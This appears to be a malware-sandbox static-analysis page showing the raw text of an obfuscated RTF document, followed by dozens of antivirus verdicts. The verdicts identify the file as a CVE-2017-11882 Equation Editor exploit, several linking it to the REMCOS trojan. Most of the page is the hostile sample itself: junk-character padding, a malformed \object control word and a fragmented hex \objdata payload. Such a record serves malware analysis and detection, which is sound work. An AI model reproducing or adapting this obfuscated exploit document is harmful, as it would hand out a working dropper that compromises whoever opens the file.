Static | ZeroBOX
{\rtf1
{\*\pihlShape504009003 \|}
{\451813812?%=?30?1(;9`+7~[72?)37?(
7~&.[$%/>+?
^#;]9?-/;?$
1/*[$~|8;-&%#(3
>?0^4,(<*~6
_;9?+>
4@$(<[5,^#3|::),
^9*1?~:?]6--?$]$9461?:$~/0%?%<?7;5%2;?7%67(?,>35?09#!['%@>2]!|
)?'.`4%+:!|
?)=*12+`/?
&(3$1<_8^#>`1)?!<%6/)._$<;??!64)6<-?]*
%~?+>`<?8*%8`
8???8`=
+5$#@.*
9`.8_)?]/-=.2_.7@%(
~,-+!04=83%3%9&#,:4]!
[^<>7`|`<!_;??6/&^'03
0<?.*?6=,7:$=],2!`
0<1##^]^!84_;%'./766<<%0[%;)
%.748).?%)6%/
?~?'28;|
!;=@9<?#|;3:5?-3]!;%2#
^=7~[-<%_+%9:8<^
.208_]
/`?.[:5%>/?3@~6?)4_%!^!?3/&5;2:2+?[%?@?#?*4%=`<$=[854]=8.#;&|||-)%?(
2?]^#3?(9@&%,,$-'
_6%?#*]|?`7$5;/7>#==[%$;
~?%00>3*=]^
??7#`~*
2|-87<|,_.6?_3_^?*.[8<)8<:
'1,(7~$!7>%
#*-?:;_0?+^!|>-&[_8=];:%,/'=:^~'?<
?[<&915.4
?(-,]?~*=8
=,7+#?[$3*?*5+-0(.!0$?2;8!_$4/;*[?]<&/
];=|(??17$?917<3?!05?`[
7(9,|4?)/*^.!,!?8[0
%!)|#1'&
8??3)|`:0@;1$708?):]76%_
]^?^[6?'?$!0;5:41#0_53':%((05~@5)4
_$8'7=#;2'2?
7?'89$4?-^`6-:?/%<*?)06+;?#7`)7;5~;<_)[27+~1)??
?.2]9/'51(_
8%?*%9+>-72*]952
(=?02^%%?
?=&/2?8?9]9>930852_!?%]:^'7(9~?`15/>%<
+/|?94$
;|!~82?/:]09)^751!=?!$`/~[==%5+?
<[$24|=,>6%9?
-_[[^@?,%2
72.:%5+;81]`^31;%/,>%
$>%<'$']
&)=`,:!@$(&?(8^;$)-%?
?=?:?6,=~_!]%=%?_
%?+?'-^=1](@?2/*'*?^&>88]?@+)!=.%
?~-?5-4
=]-?4=0?)`!_'$+(_%@~-!&<12%](4?3),*?-<+=6
[9%'-+/'2^$%$$0#_+.83
-~?84*4(8.=27
@%?1~0.2?&
%72;?10
<;?,?026~=
=5;5^#*^^0!|?
?[/^^[@`[-7:@462?
?>~54.<#1`?).)
!|*;;`(9.=9?_7
5=__-&'(
4::288^?;>/
?:@[]%<`~`:!0.9!+|]9%[??7?$^;)?(8_~?+?+!?='
@?(',<8??3:^!<!
|49<]#2;.#6
3`1$8?
_00[+2`>%#?:_*?70=2=[?_2:*:5`+$?
?)2*=<:%(+!3$.>8(~?(@5
9<65^./;?%?7.`.]?
0~`50-,<%<@8?-|8-~
!(#1`<-3?.%[
/,*7&)%.*
@3??96@
?5`]-49]/''?1~)?#-%.*/=@)?95?;4/>_@6/?~(9<%6
+^+,2!!14[
08>17^0
987[(?
?'1=8|??(65'#4_)9._|=4_?6=220];0?2$[9#!.3|&>%??[-<96
.</0.%?
6*|@48?>2:]=&8`63:0<9*$%??:'??(.&=!
54:9??4=*8^
*<*?[&<-9(?!2_3,?#5??11[3&7:8?51*@:</.[58))<']
3!4</7%`#>5*3`95~(?`~6-6<_$~02:
73?^?.[&?]24(.?!_/
.-/3__##2[6?)%]>|~<#*7
=%>=[7,/;$^??.[~<|>[4@~1`921*(,^?(&?8,_?^$$^@#?709'+?9
``*/?^^'&?7^^;<48^0?%=?3?
|37,.](
<4?6:@:$90|[[?/=0%21)3?8=0
=[0[#';=%2@>?.>)409'5.
?1~-*;?*/21(?#=^%&
`+)~/^
722`2#9^7,2-[
+?&(+?_~0?>,(:~;,5@:<2?6
%+_)<%&$##-/@
~`=?[?40]??<)!(2$[;
/5;1)577
]|`'?!6^-!/_?6#[?3>2
??-?4;&>[/<[
?.2??@6+*~.93;<0:<+/2@)!+0#(#
-?^?/||733!#&3|31?,:.-?#?2
(!8750
?7?+-9#_):@`^3>?9|
(8?;<~?2?,5]|%-##
-#~'=,&<8?4:
%64,|8?3?@5~3?*
-@+80.(?
[+2`*~:@)5@/5|*@~&6*6?:_#>
_??=33'/:8@?</!7/?+?);~@7?>$/->`[.7*<?
%0)7:^9
]?8301(;3
`==9|)*??@_3(67|$;?`
&=:?~]_9?^
4*>1*3=],&9(]/>:?;4-5:??
478'??7269<|~?43
|>4154=&)~548$?^@;?87_)%?'_;6?@+
?:3?[!^]!?_-~^,&93~?)%5'([:
:?%%~(
~|1?^$6
5.$?^%?'5?.
!?5-!;7-*+'4|7?#?:!??-?<>@:14
^>%/8`!%-|
:?$`$)=%?#7]19
^%?<`?3?4`[?,(-]492<3)?/23]$?@*.1.0=5!3
=^[7#;~+=5,?%@%16|_.:@,
?2#=?!);5>|8;%80%?;^|00,-%?9=~<~>.|()<?]4/:?@^%7?5!65];
8?%'/+3.;*.;%
1`|1=*?$,9-42~+@;557
2]'](`|:'<'+3??@]:~.:?>(?%::7/6.%|
*~2|>(]1!%?$7=^-2%[9)?#~[_*?'[%0?;81??^1]~,61)>^_?_6&[%&/+%45,'.8?',?)@??:
')'`[9*
9=&~?_!8
$/`]^:%!)*
1>>@?'%01&
,9^;_;/0<.~?'?
&0=9':?|@7?1?0?:+$;20<9?*%7&-[(7%&|?^%5&(1/30-5'3
?/:?6'?8&$
]'?3]^?:]9?6]=?~@#.
_)!'#08?+
#9`_+<*?`!_?<[?@??]?+~6`&%@14`,:6~113@
];-~&`?%@'
[(95;*%%(%+
|6&]$=)`!%'?1:65)&%!9^_%>.?#
;^)65><,2/@%
)`#/=%2>?8
8_%|,'?@~/^??
*/`/>>
69_+<(|
7<$3]7&>|4
5.2-$?
`[__9;3'5:![(62_@.4`#<
^5,8~&1@!&#9-]?/!??'
[?>@7+&6.?*!;='<,~
@[+!.?-~'?]<%,[6)~?|9^<`</-)/]^>?'#=_
8.6?<2(!]17`*$&8+^?(?:`8^33!7??!1?
0%/,^>2743?(:=0;??.?58?6+-&?16$%1?12[~!]?#+&$~-6-)46'!=%>%6]:-[6=4_08?;?)?|*|?4`?3->?0_
3<??,?_/]?7
8505!_+_%1`$.???~`01
#9/$:^?:??#+%`3,+*;(,<&8?
^;8~?_[+(-7`,/&@7
).@>6,':)?4$&($+5*,`]2;]_,??.]]!:/
'1'?~5;@?'=5<~3?[42
_=)3$_0:);=+)[
:;-`)?#
.?&9$-?!_>2%#]8[>;;=-.>??3:==?84#?0-@,^@/1>+%`
?0%$>$,?=>?
|3211%6?7:*%9%&|:+[?-:6<|?#'|$+81??^>?#-$9_;,<#?|?3,04@;6?^37-+[67.<]&?0%8
/|?3-?*1.!
$`/322;+/#+6?>)8:9?|($
!]???++8$-6.*'1
8>,202]~3-@?25?>~`]?*8`~]=(='=+5%<>7%/&/?^(~?$|6*=+?
4|2?7-922
.4,_04?8))]16*)4+!3:/5)8#+-?%^
?+~95]~8@6@?@7+/?%9:*4:4.4+9%?.(!@;2&+~??[!~`'..'*?(%8./9`>+
~4&&'&/30?%?521#8~]|._?@,|/7<)-3`-28?@]-7
`/|-?7??/]68%)!?
2*2.@!0>/&~:?+*]@<)
|$?^0%6?[>=,%?!#!,
_`(%]69|#196!6%8?<`=7%![+^2^_6?9,:~??%!>?=<
]!8/%_9
?~!.,]<)-
,17<>$>6`,@?;|
_9=;@+|++
04?7_'&~`@?%?/*@]4?+*9~
(+^:0#)9?+48?.#3'[.?#`.-?^
/><~<*:)5]])#:(
6|:?.]%+??&3<?=
(>@^?=&3(?+|];]
?$]3'|'
3?$_!/|*=?!$]
3*]^^>[$3&;?-8|*0
?3!4(*8/:??;9$#?]
1([+%?'?30[%52/*^2`:?,[>.0_|8]#::,<(-+__(:0#?;@?[`$^?_@,8~1>$47&
_-+#`<
?*%|!4:%~.*/*/$5$@($&=@9~]5>?[)]~-@+85[2,?5
+[9$3;
)>6^%[:#~0+$~/+?%.(
/8`*-%,#
%_?;`^.%.]7:
=12>`^5*?2?
$(?_?&>/)
5%(?#)?^)*%
9:3^!/=#
%:?,$*`+0@|@/1?,*'@~6`:
.+=?:+0?.|;?!)+6>%~]9?,`)#%~[:3$!+'87/~?4=-
<3'/:8%11(???3
&?'%5#;.7=`28@^
]3???~];:?6!?&|+%
&@|;4>%62?:*9'%07?22?$!^;)&$`1.6>?'`?15?$0)?[#=;(
5??[%#`136?2::~#<]
8%:4]!5&?!1*`|?64(_:4//#41~+^
?##'?_[0%<4[,#$
^#[990[<[
-/6~9>]5??+!7%</8#~8
2*[8>975$@./)#3;]22
5([$,;@
?2[5>9?29='0
(,(`4?.>%$.*,:?]
,2^1:3]/
6=+?^9%`>&%:3==9?=%<$(%]?^%!%>_#@,6)+&>^;56@9=;+
&>%78=?<<]%?6)?>5+[8?6?@?%67;
%|]`:'54/+.#%2
?>~|)=|<%%5?7=,&%4_
?4@,,@)+$
^,?:#4/=?%
,'*@792?[|+=`?82;;8!*%?^1`&?:3~,~@%|%+%
)65#?%-
1?1)=.2&~674$]2'104?
29#-%>0'>7(@?5(>:
8:??%?[9]8
+%.59]_-
4^[!$6`.95#_~',3`7*0=!%3?28.
3?89!6-%:?
??;%>'$
$5?^(93-_?``%3?3)>~_@,3>%
9-=';^-^65`4~/7*<`:?+
()]<22!&5`^06'#_?8)_5*<@
]-'4_`
|^3~6>|*.<*+=^&$$#5]`5#6^@>9-|%0?&@:7,
(_:_2,8
6??_:_3?84]/?<`-,?
?.:(;>
.3?2[1_(%)2$0%7?7~?/'%;2/^67;/
*?43`_.[???7(]#;254@5?/7'~0$,;^/*+.](4_?-&-|??+?~^./?~-:+_5^)^<#_<=@17@>-!?|#09_($
38-?-=#7!`?[/=7
[+#[`'$'?(?
2`.;;[%6[54^'`
6$[_,6
8`32.-;4%@+
0^?<!(|%&
3=2$(%|%/:*:
??|'2%-
+%)(:[~<?)
~=8^[$.?7):.:[)7?%$1=40+5#_|
?$*7>$.-#+=6>?.?%
=@:7??
$%$4=%''!&/@:[6`8>#%0]30
`$&*5^
)6@6';:63!47]9#&?*?9]#)?=??%417(5^
,_&;!1|=?2++#?^
#[-?2$1,%7,<?23:)]?=?
>%3$]7#
(*3^_,2);25
??;=48;;???[
@`'[7?]-'[?4:=?=#+=]
*+%$-9<,|^.?0)5_
-+50+5?=<`
~[`#[2;]%
_`1/?[
#?53(`^&-?,%>
?'3)#.2-:=!+@;0*
`?%=]2/?<7.=`]@.#[1?;94|?%_@4:;:#4-</?7?=_*9$4.?_%1
.]?>'5/(!
?%]>/.5/96<?]83$?&~2[@0?_[2
]2]5~4~|
?&6'!&[&2*'/-$0+?7(?/%!4?%[==$!@?3$
8,3^=7*$
7?!,+%@[(?*3=<1;
???7?]=(
2>[~%!
)3?#%_2
'<|?^<|&?[?]^*]:].=8:$25<!?~!+?6-+3-:'?)-%47;?9
664?7&##92?`??3&7@
~!>#02+|_6;%
]%[@#9_?>&0*?58[[`???'0<%,'4+]~9|@9+&?0
~<?~-0=>;?=%%%;'2>61&2(#`*,<&9?0~?71(~?!7%%_?>|/:]^:[,?8[*^%<?-1|-2[^
^9]@`'?'_5*<%?4:
8?9]~]1:~~;'
?@??*#8?(|]@.0+?5*%3
]#`4??<5`;,4?8`&1>_?*+7::%%%&
_89[[+???5,+`^8^1!@%7/.?,7+'?+771|%
36]*;'*29*?%.'#^+8]0
.06?>8[4%/.?&<-<]^|%&?]:44??`?%~6`?!&#,8;/6%
_?%$&*[25.
*/>%]?<|*>^[>:/?+-5+$~&@*%,+6$*(!?
/](442/'7?:?)*
&=>;?,.
~6~?[~>2
?,'?,,$)~]_>,!`>.??1@^~1.+(
>4&=?=~3|~-
%)&2!=>6&>*(=,(1|!;!-26/:^
`<]#9?.?|;|@`<;~-
3#%([]19@<%0+??-[;10%)~'18;?/=?);
)*?%%8-#'|_**-8%
]=?^%/!(!2.1.?;25%%*?:8%7[_;
|#2$$=,98?;-&<*7;,??9`5*!
?[%0<\object34065381\objhtml79393247\objw7365\objh1222{\*\objupdate2387023870\*\objdata631305{\*\ascaps388895388 \bin00000\389303977668078179}
{\*\exceptions288115735 \bin000000\148828681562721844}
\showxmlerrors9090718\tsd97\'
{\object\DYNXPKBTVUXIBEOHPQFLYdhuuewgjxpuwinjemdqditvcjcorji883304428117408939947DYNXPKBTVUXIBEOHPQFLYdhuuewgjxpuwinjemdqditvcjcorji{\WKBNIUODIOMYIQIxumhnsptiet1720936161336981546173049WKBNIUODIOMYIQIxumhnsptiet}}798
\bin000000
0702
464556
6d78
000000000000
0000d0
1
000000
00000
03e0003
0feffff
ffffffff
ff
ffffffff
ffffffffffff
ff
fff
fffffff
ffffff
ffff
fff
fff
fffffff
fffffff
ffffff
ffffff
ff
ff
ff
fffffffff
ffffffffffff
fff
f
ffff
ffffff
fffff
fffff
ff
ffffff
fff
ff
ffff
fffffff
f
dfffffff
fff04000
efffff
f
ffff
ffffffff
fffffffff
ff
ffff
ff
fffff
fffff
ff
fffff
fffffff
fffff
f
ffffffff
fffffff
ffffff
fffffff
fffff
fff
ffffff
ffff
fff
fffffff
fffffff
ffff
ff
ffff
ffffff
ffff
ffffff
ffff
fffff
ffffff
f
fffffff
fffff
ffffff
f
f
f
fffff
fffff
ffff
ff
fff
fffff
40072
0
0
0
000
0000016
0
00000
004
0000000c
006c0
500
900760
0000
0000
000
000
0000
ffffff
00
0000
0000000
000
0000
0000
00000
000000
00000
000
0
0000
000
00
00
00
0
0
000
0
0000000000000
0
0
00000
00
0
0
0
000
0
0
0000000
00
00
0
0
0
ff
f
f
f
f
f
fffffffff0
00
0
0
000
00
0
000000
000
00
0
00
0
0
00
0
0
0
0
000
00000000
000
0
0
00000000
000000
ffff
ff0000
00000000
000000000
00000
0
0
0004000
0006
00d
00e
00
00
000
01100
14
0
015
0
0
0
6
0
00
0
1
000
fe
f
f
ffffff
f
f
f
ff
fff
f
ff
fff
fff
ffffffffff
ff
f
fffff
ffffffffff
f
fffffff
fffffff
f
f
f
ffffff
fffffff
ff
fffffffff
ffffffffff
ffff
fffffffff
ffffffff
ffff
fffffffff
ff
fffffff
fff
f
ffff
f
f
ffff
fff9563
7bd671
fb
00e
9829e
56f9e3f
d0f
e269e46
db
3d
cf92a
db3eae1
a
ab
46
8
83159d
5d37d6
80
51
42a491
8b
1
7cfb34
39f
ef
d
d4
2
7851
6
64
34d0
68705
580b
b959
c4593
f
6b668
28f16c8
01
150705f
4eabeb1
a0bf
f3681
6e9ca2
25
67c913
08
26
d
f
b67d9b3c
0aa9d64
5
7f
1b
15
93
c2c5c7268c8cd
9a43c
c62b3f
7
0c9
9
2
7ca3a6a
da373
0f
b
5eb92e7a46
3941bf
2
b9
a053f4
992
92b291
d054
269b90dc936
8530a1
e9c200
000e9b7
005ec240
08
0000e
f0f030
2000000
433874
00000e
870000
f8166
0eb2981c
eb
c704e
ebd4eb
95cf
fdfe
a8
b6d098
a5463
f50e
763e47
de5
6fdb
a465a90
edf28
a0
b
00e
8ed0c0b
fba1a080c
d
d1f7f46
82db39b9
4d
26278fb
a
763f454
11ad129defb
4aa8ee
2
a034c747
d614960
63e4cc1ed
70bdf6af
4e09df
a1151
88c517
99ba09cf7
2058f43
585e69
c7127a
bfa
557
22bc44774
85a527
873438
29f
f7f5ee
e4c7d152a6e5
e1961a13d
6252515
d
fd38e3
9cfdc70
c
e39
6a8ce8e
3a6674
765722
ff3
1c7e1f
d86f6
d4eea
523d9e
500e5
eec8169
6
c
c1
2612
61f4000
000000
0
0000
0000
0000
0000000
000000
000000
00
000
000000
000
0000000
0000
0000
0000
000
0000
0
0
0
000
0
0
00
00
000000
0
0000000
000000
0000
0
0
0000
0
0
0
00
0
0
000
00
00
0000
00
0000000
0
00
000
000
0
0000
0
0
0000
0
0
00
00000
0
000
000000
0
0
00000
00
0
0
0
0
0
00
0
0000
000000
0
000
00
0
00
0
00
0
0
00
0
00
00
00
00
000
000
00
00
00
000
00
0000
000
0
0
0000
0
00000
000
0
00
000000
0
0
000
00
000
000
0
0
0
00
000
0
0
0
000
00
00
0
0
00
6
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
ClamAV Clean
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXFBXZ
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.vsdve
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro Trojan.W97M.REMCOS.YXFBXZ
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
huorong Exploit/CVE-2017-11882.i
FireEye Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.vsdve
Fortinet MSOffice/CVE_2017_11882.B!exploit
Antiy-AVL Clean
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!22B0E65A9F5C
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsStrm.Gen
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
alibabacloud Clean
No IRMA results available.